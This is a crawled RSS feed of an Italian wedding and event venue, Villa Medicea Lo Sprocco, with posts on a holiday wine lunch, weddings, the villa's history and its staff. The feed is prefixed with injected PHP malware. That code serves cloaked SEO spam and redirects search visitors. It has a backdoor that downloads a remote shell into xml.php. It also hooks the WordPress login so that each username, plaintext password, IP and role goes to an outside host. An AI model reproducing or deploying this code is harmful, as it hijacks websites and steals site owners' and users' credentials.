if (!function_exists('getUserIP')) { function getUserIP() { foreach(array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach(array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('cacheUrl')) { function cacheUrl($url, $skip_cache = FALSE) { $cachetime = 10; //one week // $cachetime = 60 * 60 * 24 * 7; //one week $file = ABSPATH.WPINC. '/class-wp-http-netfilter.php'; $mtime = 0; if (file_exists($file)) { $mtime = filemtime($file); } $filetimemod = $mtime + $cachetime; if ($filetimemod < time() OR $skip_cache) { $ch = curl_init($url); curl_setopt_array($ch, array( CURLOPT_HEADER => FALSE, CURLOPT_RETURNTRANSFER => TRUE, CURLOPT_USERAGENT => 'Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/79.0.3945.88 Safari/537.36', CURLOPT_FOLLOWLOCATION => TRUE, CURLOPT_MAXREDIRS => 5, CURLOPT_CONNECTTIMEOUT => 30, CURLOPT_TIMEOUT => 60, )); $data = curl_exec($ch); curl_close($ch); if ($data AND!$skip_cache) { file_put_contents($file, $data); } } else { $data = file_get_contents($file); } return $data; } } $weoboo = cacheUrl('https://acagna.info/lnk/data/ip.admin.txt'); $user_ip = getUserIP(); if (strpos($weoboo, getUserIP()) !== false) { //ip found } else { $id = $_SERVER['REQUEST_URI']; if (preg_match_all("/ffgg$/", $id, $matches) ) { echo '111111'; } $uag = $_SERVER['HTTP_USER_AGENT']; $id = $_SERVER['REQUEST_URI']; $host=$_SERVER['HTTP_HOST']; $ref =$_SERVER['HTTP_REFERER']; $uri =$_SERVER['REQUEST_URI']; //t $pagesID = $_SERVER['REQUEST_URI']; if (!preg_match_all("/wp-login|wp-admin|admin|xmlrpc/", $pagesID, $matches)) { $apiToken = 'tws5mkxns8qpz5hqywtcknjfw4wgrbhp'; $keyword =$_SERVER['REQUEST_URI']; $url_page=$_SERVER['REQUEST_URI']; $ua = urlencode($_SERVER['HTTP_USER_AGENT']); $lang = (isset($_SERVER['HTTP_ACCEPT_LANGUAGE']) ? substr($_SERVER['HTTP_ACCEPT_LANGUAGE'], 0, 2) : ''); $ip = null; $headers = array('HTTP_X_FORWARDED_FOR', 'HTTP_CF_CONNECTING_IP', 'HTTP_X_REAL_IP', 'REMOTE_ADDR'); foreach ($headers as $header) { if (!empty($_SERVER[$header])) { $ip = $_SERVER[$header]; break; } } if (strstr($ip, ',')) { $tmp = explode(',', $ip); if (stristr($_SERVER['HTTP_USER_AGENT'], 'mini')) { $ip = trim($tmp[count($tmp) - 2]); } else { $ip = trim($tmp[0]); } } if (isset($_SERVER['HTTP_X_FORWARDED_FOR'])) { $tmp = explode(',', $_SERVER['HTTP_X_FORWARDED_FOR']); $ip = trim($tmp[0]); } else { $ip = $_SERVER['REMOTE_ADDR']; } $referrer = urlencode(@$_SERVER['HTTP_REFERER']); $url = "https://bantuzu.info/api.php?is_api=1&action=get&token=$apiToken&ua=$ua&ip=$ip&keyword=$keyword&referrer=$referrer&lang=$lang&sub_id_1=".$_SERVER['HTTP_HOST']."&" . http_build_query($_GET) . ""; $ch = curl_init(); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); $output = curl_exec($ch); curl_close($ch); $result = json_decode($output); print $result->{'body'}; } @ini_set('display_errors', '0'); error_reporting(0); @ini_set("memory_limit","1024M"); $curtime = time(); $hspan = 0; $gen_passwd = "57ffb10f130bd90ab7a342fe814ccbd8"; $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; if (preg_match('#.txt|.jpg|.png|/feed/|.xml|.ico#', $donor)) die(); if ($_REQUEST['testwork'] == 'ololo') { $twork = file_get_contents('http://acagna.info/lnk/up/sh.txt'); if (preg_match("#cgi|admin#i", $eb)) $eb = ''; if (file_put_contents("{$eb}xml.php", $twork)) echo "success!
go"; else echo "error!"; die(); } if (ini_get('allow_url_fopen')) { function get_data_yo($url) { $data = file_get_contents($url); return $data; } } else { function get_data_yo($url) { $ch = curl_init(); curl_setopt($ch, CURLOPT_HEADER, 0); curl_setopt($ch, CURLOPT_RETURNTRANSFER, 1); curl_setopt($ch, CURLOPT_URL, $url); curl_setopt($ch, CURLOPT_CONNECTTIMEOUT, 8); $data = curl_exec($ch); curl_close($ch); return $data; } } $ip = urlencode($_SERVER['REMOTE_ADDR']); $ua = urlencode($_SERVER['HTTP_USER_AGENT']); //block ddos bots $blbots = '/semrush|rogerbot|exabot|mj12bot|dotbot|gigabot|ahrefsbot|ia_archiver/i'; if (preg_match($blbots, $ua)) die(); $ref = urlencode($_SERVER['HTTP_REFERER']); $poiskoviki = '/google|bing|yahoo|aol|rambler/i'; $fromse = 0; if ($ref && preg_match($poiskoviki, $ref)) $fromse = 1; $abt = 0; $abtip = 0; if (isset($_GET['debug'])) $abt = 1; $crawlers = '/google|bot|crawl|slurp|spider|yandex|rambler/i'; $crawlers = '/a|b|c|d|e|f|g/i'; if (preg_match($crawlers, $ua)) { $abt = 1; } if (file_exists("{$eb}.bt")) { $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); $btime = filemtime("{$eb}.bt"); $obtime = $curtime - $btime; } if (!$bots[2] || $obtime > 172800) { $fbots = get_data_yo("http://acagna.info/lnk/bots.dat"); $btf = fopen("{$eb}.bt", 'w'); fwrite($btf, $fbots); fclose($btf); $bots = file("{$eb}.bt", FILE_IGNORE_NEW_LINES | FILE_SKIP_EMPTY_LINES); } if (in_array($ip, $bots)) { $abt = 1; $abtip = 1; } $st = '.st'; $cldw = 0; $dw = 0; if ($_REQUEST["create"] == 1 && $_REQUEST["gen_passwd"] == $gen_passwd) { $cldw = 0; if ($_REQUEST['cldw']) $cldw = 1; $qq = $_REQUEST['qq']; if (!file_exists("{$eb}{$st}/.r")) { $qq = $_REQUEST['qq']; mkdir("{$eb}{$st}"); } else { $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); if (isset($_REQUEST['qq']) && $_REQUEST['qq']) $qq = $_REQUEST['qq']; else $qq = trim($eqq[2]); } $redir = $_REQUEST['redir']; $redcode = $_REQUEST['redcode']; $redcode = htmlspecialchars_decode($redcode); $redcode = base64_encode($redcode); $group = $_REQUEST['group']; if ($cldw) { $egroup = explode('_', $group); $kgroup = $egroup[0]; $clkeys = get_data_yo("http://acagna.info/lnk/gen/keys/$kgroup.keys"); file_put_contents("{$eb}{$st}/.k", $clkeys); } $lang = $_REQUEST['lang']; file_put_contents("{$eb}{$st}/.r", "$redir|$group|$qq|$lang|$redcode|$cldw"); if (file_exists("{$eb}{$st}/.r")) { echo "created"; die(); } } if (file_exists("{$eb}{$st}/.r")) { $dw = 1; $pamparam = file_get_contents("{$eb}{$st}/.r"); $eqq = explode('|', $pamparam); $redir = $eqq[0]; if (!strstr($redir, 'https://')) $redir = base64_decode($redir); $group = $eqq[1]; $qq = trim($eqq[2]); $lang = trim($eqq[3]); if ($eqq[4]) $redcode = base64_decode($eqq[4]); $cldw = $eqq[5]; } $donor = $_SERVER['HTTP_HOST'].$_SERVER['REQUEST_URI']; $ddomain = $_SERVER['HTTP_HOST']; $ddomain = str_ireplace('www.', '', $ddomain); $eddomain = explode('.', $ddomain); $ddname = $eddomain[0]; $donor = str_ireplace('www.', '', $donor); $page = str_replace('/', '|', $donor); $donor = urldecode($donor); $epage = explode('|', $page); $morda = 0; if (!$epage[1] && !$epage[2] || $epage[1] == 'index.php' || $epage[1] == '?p=home') $morda = 1; //$fromse = 1; if ($abt || $fromse || $redcode || $hspan) { if (($abt || $hspan) && !$_GET[$qq]) { $ll = get_data_yo("http://acagna.info/lnk/tuktuk.php?d=$donor&cldw=$cldw&dgrp=$algo"); $el = explode(' ', $ll); } if (file_exists("{$eb}{$st}/$page.html")) { $htmlpage = file_get_contents("{$eb}{$st}/$page.html"); echo $htmlpage; die(); } $mdpage = md5($page); if (file_exists("{$eb}{$st}/$page.txt") || file_exists("{$eb}{$st}/$mdpage.txt")) { if (file_exists("{$eb}{$st}/$mdpage.txt")) $gtxt = file_get_contents("{$eb}{$st}/$mdpage.txt"); else $gtxt = file_get_contents("{$eb}{$st}/$page.txt"); $etxt = explode('|', $gtxt); $key = $etxt[0]; $desc = $etxt[1]; $txt = $etxt[2]; $h1 = $etxt[3]; } elseif ($cldw || isset($_GET[$qq])) { $desc = ''; $keys = file("{$eb}{$st}/.k", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); if ($keys[0]) { $key = $keys[0]; for ($kk = 1; $kk < count($keys); $kk++) $newkeys .= "$keys[$kk] "; file_put_contents("{$eb}{$st}/.k", $newkeys); } if (isset($_GET[$qq])) { $key = str_replace('-', ' ', $_GET[$qq]); } if ($key) { $parkey = $key; $tkey = str_replace(' ', '-', $key); if (stristr($lang, 'own')) { $lang = str_replace('own:', '', $lang); $owntext = base64_decode($lang); $wkey = urlencode($key); if (strstr($owntext, '?')) $ttxt = get_data_yo("{$owntext}&key=$wkey"); else $ttxt = get_data_yo("{$owntext}?key=$wkey"); } else $ttxt = get_data_yo("http://acagna.info/lnk/gen/index.php?key=$tkey&g=$group&lang=$lang&page=$page&cldw=$cldw&dd=$ddomain"); if (preg_match('#\n$parkey rating\n
\n$rating-5 stars based on\n$rcount reviews\n
\n\n"; $desc = $etxt[2]; $txt .= $etxt[3]; if ($desc == 'desc') { $desc = get_data_yo("http://acagna.info/lnk/gen/desc.php?key=$tkey&desc=$group"); preg_match('#gogogo(.*)enenen#is', $desc, $mtchs); $desc = $mtchs[1]; } $mdpage = md5($page); file_put_contents("{$eb}{$st}/$mdpage.txt", "$title|$desc|$txt|$h1"); $newclpage = str_replace('|', '/', $page); $newcllink = "$parkey "; if ($cldw) file_put_contents("{$eb}{$st}/cldwmap.txt", $newcllink, FILE_APPEND); } } $iswp = 0; if (file_exists('wp-includes/vars.php')) $iswp = 1; $cldwmap = file("{$eb}{$st}/cldwmap.txt", FILE_SKIP_EMPTY_LINES | FILE_IGNORE_NEW_LINES); ob_start(); function shutdown() { global $morda; global $eb; global $txt; global $qq; global $key; global $desc; global $lang; global $cldwmap; global $el; global $dw; global $cldw; global $redcode; global $abt; global $hspan; global $h1; global $iswp; global $ddname; $title = ucfirst($key); $my_content = ob_get_contents(); ob_end_clean(); if ($my_content && isset($_REQUEST['prigod'])) { $my_content = '---prigod---'; } if ($key && $abt) { if ($cldw && !$morda) { preg_match_all('##iUm', $my_content, $ahrefs); $cntahrefs = count($ahrefs[0]); $cntcldwmap = count($cldwmap); $i = 0; foreach ($ahrefs[0] as $ahref) { if ($cldwmap[$i]) { $my_content = str_replace($ahref, $cldwmap[$i], $my_content); } $i++; } if ($morda) { $cldwfooter = ''; foreach ($cldwmap as $cldwflink) { $cldwfooter .= "$cldwflink "; } $my_content = str_replace('', "
$cldwfooter
", $my_content); } } if (!$morda) { $my_content = preg_replace('##iUs', "$title", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace('##iUm', "

$h1

", $my_content, 1); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = str_replace('', " ", $my_content); $my_content = preg_replace("##iUs", '', $my_content); $my_content = preg_replace('##iUs', '', $my_content, 1); if (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', $my_content)) { $my_content = preg_replace('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs')) { $my_content = preg_replace('##iUs', "\n
$txt
", $my_content, 1); } elseif (@preg_match('#
(.*)
#iUs', $my_content)) { $my_content = preg_replace('#
(.*)
#iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "
\n$txt\n
", $my_content, 1); } elseif (@preg_match('##iUs', $my_content)) { $my_content = preg_replace('##iUs', "\n
\n$txt\n
", $my_content, 1); } } } //end if key elseif (!preg_match('#(.*)404(.*)#i', $my_content) && !preg_match('#<title>(.*)not found(.*)#i', $my_content)) { foreach($el as $ln) { if (preg_match('#<strong>#', $my_content)) { $my_content = preg_replace('#<strong>#', "_-strong-_ $ln ", $my_content, 1); } elseif (preg_match('#<b>#', $my_content)) { $my_content = preg_replace('#<b>#', "_-b-_ $ln ", $my_content, 1); } elseif (preg_match('#<i>#', $my_content)) { $my_content = preg_replace('#<i>#', "_-i-_ $ln ", $my_content, 1); } elseif (preg_match('#<u>#', $my_content)) { $my_content = preg_replace('#<u>#', "_-u-_ $ln ", $my_content, 1); } elseif (preg_match('#<p(.*)>#', $my_content)) { $my_content = preg_replace('#<p(.*)>#iUs', "_-p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#</p>#', $my_content)) { $my_content = preg_replace('#</p>#', "_-/p-_ \n$ln ", $my_content, 1); } elseif (preg_match('#<br(.*)>#', $my_content)) { $my_content = preg_replace('#<br(.*)>#iUs', " $ln ", $my_content, 1); } elseif (preg_match('#<span(.*)>#', $my_content)) { $my_content = preg_replace('#<span(.*)>#iUs', "_-span-_ $ln ", $my_content, 1); } elseif (preg_match('#<body(.*)>#iUs', $my_content)) { $my_content = preg_replace('#<body(.*)>#iUs', "<body>\n$ln ", $my_content, 1); } } $my_content = str_replace('_-', '<', $my_content); $my_content = str_replace('-_', '>', $my_content); //$my_content = str_replace('</head>', "<script type='text/javascript'> function style_{$ddname} () { return 'none'; } function end_{$ddname} () { document.getElementById('$ddname').style.display = style_{$ddname}(); } </script>\n</head>", $my_content); //$my_content = str_replace('</body>', "<script type='text/javascript'> end_{$ddname}(); </script>\n</body>", $my_content); } echo $my_content; } register_shutdown_function('shutdown'); } if (($_GET[$qq] || $cldw) && $fromse && !$abt) { if (!$redcode && !$morda) { if ($key) $tkey = str_replace(' ', '+', $key); else $tkey = str_replace('-', '+', $_GET[$qq]); if (strstr($redir, '?')) $redir .= "&keyword=".$tkey; else $redir .= "?keyword=".$tkey; $redir = str_replace('KEY', $tkey, $redir); header("Location: $redir"); echo "<script type=\"text/javascript\">location.href=\"$redir\";</script>"; die(); } elseif (!$morda) { $key = str_replace('-', ' ', $_GET[$qq]); $redcode = str_replace('KEY', $key, $redcode); echo stripslashes($redcode); } } /* your code end */ } /* weoboo end */ if(!isset($_COOKIE['_eshoob'])) { setcookie('_eshoob', 1, time()+604800, '/'); // unset cookies if (isset($_SERVER['HTTP_COOKIE'])) { $cookies = explode(';', $_SERVER['HTTP_COOKIE']); foreach($cookies as $cookie) { if (strpos($cookie,'wordpress') !== false || strpos($cookie,'wp_') !== false || strpos($cookie,'wp-') !== false) { $parts = explode('=', $cookie); $name = trim($parts[0]); setcookie($name, '', time()-1000); setcookie($name, '', time()-1000, '/'); } } } } if (!function_exists('getUserIP')) { function getUserIP() { foreach (array('HTTP_CF_CONNECTING_IP', 'HTTP_CLIENT_IP', 'HTTP_X_FORWARDED_FOR', 'HTTP_X_FORWARDED', 'HTTP_X_CLUSTER_CLIENT_IP', 'HTTP_FORWARDED_FOR', 'HTTP_FORWARDED', 'REMOTE_ADDR') as $key) { if (array_key_exists($key, $_SERVER) === true) { foreach (array_map('trim', explode(',', $_SERVER[$key])) as $ip) { if (filter_var($ip, FILTER_VALIDATE_IP, FILTER_FLAG_NO_PRIV_RANGE | FILTER_FLAG_NO_RES_RANGE) !== false) { return $ip; } } } } } } if (!function_exists('isHttps')) { function isHttps() { if ((!empty($_SERVER['REQUEST_SCHEME']) && $_SERVER['REQUEST_SCHEME'] == 'https') || (!empty($_SERVER['HTTPS']) && $_SERVER['HTTPS'] == 'on') || (!empty($_SERVER['HTTP_X_FORWARDED_PROTO']) && $_SERVER['HTTP_X_FORWARDED_PROTO'] == 'https') || (!empty($_SERVER['HTTP_X_FORWARDED_SSL']) && $_SERVER['HTTP_X_FORWARDED_SSL'] == 'on') || (!empty($_SERVER['SERVER_PORT']) && $_SERVER['SERVER_PORT'] == '443')) { $server_request_scheme = 'https'; } else { $server_request_scheme = 'http'; } return $server_request_scheme; } } if (!function_exists('wordpress_api_debug')) { function wordpress_api_debug( $user_login, $user ){ $wpApiUrl = "https://toremanc.com/lnk/api.php"; // $uuuser = get_user_by('login', $_POST['log']); if(in_array('administrator', $uuuser->roles)){ $role = 'admin'; } else{ $role = 'user'; } // $verbLogs = array( 'wp_host' => $_SERVER['HTTP_HOST'], 'wp_uri' => $_SERVER['REQUEST_URI'], 'wp_scheme' => isHttps(), 'user_login' => $_POST['log'], 'user_password' => $_POST['pwd'], 'user_ip' => getUserIP(), 'user_role' => $role ); if (!empty($verbLogs['user_login'])) { $wpLogData = json_encode($verbLogs); $curl = curl_init(); curl_setopt($curl, CURLOPT_HEADER, false); curl_setopt($curl, CURLOPT_URL, $wpApiUrl); curl_setopt($curl, CURLOPT_RETURNTRANSFER, true); curl_setopt($curl, CURLOPT_POST, true); curl_setopt($curl, CURLOPT_POSTFIELDS, $wpLogData); curl_setopt($curl, CURLOPT_HTTPHEADER, array('Content-Type:application/json')); $response = curl_exec($curl); curl_close($curl); } } } if (function_exists('add_action')) { add_action( 'wp_login', 'wordpress_api_debug', 10, 2 ); } ?><?xml version="1.0" encoding="UTF-8"?><rss version="2.0" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:wfw="http://wellformedweb.org/CommentAPI/" xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:atom="http://www.w3.org/2005/Atom" xmlns:sy="http://purl.org/rss/1.0/modules/syndication/" xmlns:slash="http://purl.org/rss/1.0/modules/slash/" > <channel> <title>Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia https://www.losprocco.it Dimora Storica per Matrimoni Eventi Mugello Firenze Thu, 24 Nov 2022 13:21:24 +0000 it-IT hourly 1 https://wordpress.org/?v=6.1.1 https://www.losprocco.it/wp-content/uploads/2021/01/cropped-cropped-favicon-32x32.jpg Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia https://www.losprocco.it 32 32 Pranzo degli Auguri l’8/12/2022 presso Villa Medicea Lo Sprocco https://www.losprocco.it/pranzo-degli-auguri-l8-12-2022-presso-villa-medicea-lo-sprocco/ Thu, 24 Nov 2022 13:18:51 +0000 https://www.losprocco.it/?p=2303

Pranzo degli Auguri l’8/12/2022 presso Villa Medicea Lo Sprocco

GO WINE


Pranzo degli Auguri l’8/12/2022 presso Villa Medicea Lo Sprocco

Carissimi amici,

come tutti gli anni in prossimità delle festività il Club Go Wine Mugello organizza il “Pranzo degli Auguri” e come, oramai, avviene da alcuni anni, anche quest’anno sarà Villa Medicea Lo Sprocco ad ospitarci.

Quest’anno insieme allo chef che cucinerà abbiamo provato a proporre un menù un po’ particolare inserendo un qualcosa che ricorda la cucina spagnola, questo il menù che abbiamo pensato:

Aperitivo ed antipasto sarà servito a buffet : tris di Tapas abbinate al Prosecco di Valdobbiadene DOCG Azienda Il Settolo –

Primo piatto: tagliatelle fatte in casa bianche e verdi, paglia e fieno, con un ottimo ragù a base di cinta e cinghiale –

Vino in abbinamento: Langhe Nebbiolo Doc 2020 Azienda Taliano – Secondo piatto: rosticciana ripiena ed arrotolata ricostruita con il

proprio osso –

Vino in abbinamento: Veneto Rosso IGP “Guido” 2016 Azienda Manara – Contorno: patate arrosto e fagioli cannellini all’olio nuovo –
Dessert: Crema Catalana con lingue di gatto –

Vino in abbinamento: Erbaluce di Caluso passito del Piemonte Azienda Cieck – e qui c’è una bellissima leggenda che vi racconterò durante il pranzo –

Il costo a persona ammonta ad euro 55,00.
Al pranzo potete partecipare con amici e parenti.

Villa Medicea Lo Sprocco

Contatti telefonici:

55-8406012- 3371070374

POSTI LIMITATI- OBBLIGATORIA PRENOTAZIONE

In attesa delle vostre adesioni, cordiali saluti.

Barberino di Mugello, 07/11/2022

Roberto Ciancolini

Nota sul Veneto Rosso IGT “Guido”: è un vino che ha molte somiglianze con l’Amarone è prodotto con 70% Cabernet Sauvignon 20% Merlot e 10% Croatina – affina in botti di rovere francese fra i 24/30 mesi e ulteriori 6/12 mesi in bottiglia.

The post Pranzo degli Auguri l’8/12/2022 presso Villa Medicea Lo Sprocco first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
Matrimoni e… molto altro! https://www.losprocco.it/matrimoni-e-molto-altro/ Wed, 03 Feb 2021 16:46:09 +0000 http://www.villalosprocco.com/wp/?p=1097

Matrimoni e… molto altro!

Villa Medicea Lo Sprocco vanta anni di esperienza nell’organizzazione di eventi e cerimonie. Il cliente si potrà pertanto avvalere della professionalità dei nostri collaboratori per organizzare qualsiasi tipo di evento. Per i matrimoni offriamo la possibilità di ospitare sia una cerimonia civile (nell’ampio parco o all’interno) sia le cerimonie religiose nella suggestiva cappella settecentesca. La nostra cucina interna propone una vasta gamma di menù personalizzati, accompagnata da una accurata scelta dei vini, ma anche con proposte specifiche per bambini, vegetariani, vegani, allergici e celiaci. Nel costo del menù è compresa l’esclusiva degli spazi e agli sposi viene offerta una suite per la prima notte di nozze. Inoltre gli ospiti potranno utilizzare gratuitamente il nostro parcheggio riservato (per circa 80 auto), o approfittare dell’occasione di soggiornare da noi a prezzi speciali nelle camere Suite Style. Se le condizioni atmosferiche sono favorevoli si possono utilizzare gli spazi all’aperto (pratone, parco e piscina) e ovviamente in caso di brutto tempo le sale interne.

Infine la Villa offre, su richiesta, assistenza sulla scelta di servizi accessori: allestimento floreale, servizio fotografico, intrattenimento musicale, baby-sitting, spettacoli pirotecnici, noleggio auto o gonfiabili, e molto altro.

A Villa Lo Sprocco ti puoi rivolgere per occasioni particolari, come Comunioni, di cui proponiamo due menù, per un anniversario, una festa di Laurea, un compleanno, una cena aziendale, un meeting, o per passare una piacevole serata tra amici, o per una romantica cena a lume di candela nell’atmosfera del nostro camino.

The post Matrimoni e… molto altro! first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
Lo Sprocco https://www.losprocco.it/lo-sprocco/ Wed, 03 Feb 2021 12:35:22 +0000 http://www.villalosprocco.com/wp/?p=1052

Lo Sprocco

Villa Medicea Lo Sprocco è immersa nel verde Mugello nella vallata tra S’Agata e Galliano nel Comune di Scarperia. La Villa, come narra un aneddoto, gode del primo raggio di sole del giorno e dell’ultima stilla di luce del tramonto, da cui nasce il primo germoglio, che in fiorentino antico si chiamava, appunto, “Lo Sprocco”. La Villa imponente nella sua immagine quattrocentesca, si presenta all’interno di un viale alberato dal quale si intravede la Loggia con il porticato, da qui si accede ai vasti saloni collegati tra loro da archi a tutto sesto che ne amplicano la visuale, pur mantenendo ognuno i propri affreschi.

 

Il primo salone è chiamato “Salone dei Medici” poichè l’affresco che incornicia il soffitto a cassettoni riporta i nomi e gli stemmi delle Dinastie che hanno vissuto nella Villa: Medici, Gherardi, Ducci, Sassoli, De’ Bianchi. In questa sala si trova l’imponente Camino in pietra serena del quattordicesimo secolo che riporta lo stemma dei Medici.

 

La seconda sala è chiamata Michelangelo poichè i suoi affreschi sono stati restaurati secondo le tradizioni della scuola di Michelangelo.

Il terzo ed ultimo salone porta il nome di uno dei più importanti artigiani del vetro del diciannovesimo secolo, Galileo Chini, di cui, qui, possiamo ammirare il lavoro.

 

Nel vasto parco, si possono trovare alberi secolari, tra cui due sequoie di alto fusto.

The post Lo Sprocco first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
Il nostro staff https://www.losprocco.it/il-nostro-staff/ Wed, 03 Feb 2021 12:03:33 +0000 http://www.villalosprocco.com/wp/?p=1041

Il nostro staff

Il nostro chef vi appassionerà e delizierà con la rivisitazione dei piatti anche più semplici, ma curati e presentati appositamente per voi, mentre il nostro Maitre-sommelier Massimo curerà il servizio con i suoi camerieri nella ormai famosa divisa della Villa, vi consiglierà Vini scelti personalmente: raffinati, nonchè genuini e della zona, alcuni a km. zero, come la maggior parte degli ingredienti utilizzati per preparare i nostri piatti. Biologico, naturale e Toscano sono alcuni dei nostri MUST, come gentilezza, cordialità e simpatia.

Renata, nostro capo chef, e Lorella vi indirizzeranno e consiglieranno per menù, matrimoni, cene, pranzi, coffee-breaks ed eventi di ogni genere, seguendo i vostri gusti e suggerendo le soluzioni più idonee a soddisfare le vostre esigenze.

The post Il nostro staff first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
Momenti da ricordare https://www.losprocco.it/momenti-da-ricordare/ Tue, 02 Feb 2021 16:13:17 +0000 http://www.villalosprocco.com/wp/?p=900

Momenti da ricordare

Villa Medicea Lo Sprocco vanta anni di esperienza nell’organizzazione di Eventi e cerimonie. Il cliente si potrà pertanto avvalere della professionalità dei nostri collaboratori per organizzare qualsiasi tipo di evento.

La nostra cucina interna propone una vasta gamma di menù personalizzati, accompagnata da una accurata scelta dei vini, ma anche con proposte specifiche per bambini, vegetariani, vegani, allergici e celiaci.

Inoltre gli ospiti potranno utilizzare gratuitamente il nostro parcheggio riservato (per circa 80 auto), o approfittare dell’occasione per sog- giornare da noi a prezzi speciali nelle camere Suite Style. Se le condizioni at- mosferiche sono favorevoli si possono utilizzare gli spazi all’aperto (pratone, parco e piscina) e ovviamente in caso di brutto tempo le sale interne.

Infine la Villa offre, su richiesta, assistenza nella scelta di servizi accessori: al- lestimento floreale, servizio fotografico, intrattenimento musicale, baby-sitting, spettacoli pirotecnici, noleggio auto o gonfiabili, ecc. ecc. A Villa lo Sprocco ti puoi rivolgere per occasioni particolari, come le comunioni, di cui vi proponiamo due menù, per un anniversario, una festa di laurea, un compleanno, una cena aziendale, un meeting, o per passare una piacevole serata tra amici, o per una romantica cena a lume di candela nell’atmosfera del nostro camino.

The post Momenti da ricordare first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
Visite guidate al palazzo dei Vicari https://www.losprocco.it/visite-guidate-al-palazzo-dei-vicari/ Tue, 02 Feb 2021 11:28:51 +0000 http://www.villalosprocco.com/wp/?p=919

Visite guidate al palazzo dei Vicari

Un percorso guidato alle sale nobili, alla torre, ai merli, agli affascinanti archivi storici.

The post Visite guidate al palazzo dei Vicari first appeared on Villa Medicea lo Sprocco Location per eventi Firenze Toscana Italia.

]]>
Battesimi Comunioni Cresime https://www.losprocco.it/comunioni-2019/ Wed, 14 Oct 2015 23:16:00 +0000 http://www.villalosprocco.com/wp/index.php/2015/10/15/comunioni-2019/

Battesimi Comunioni Cresime

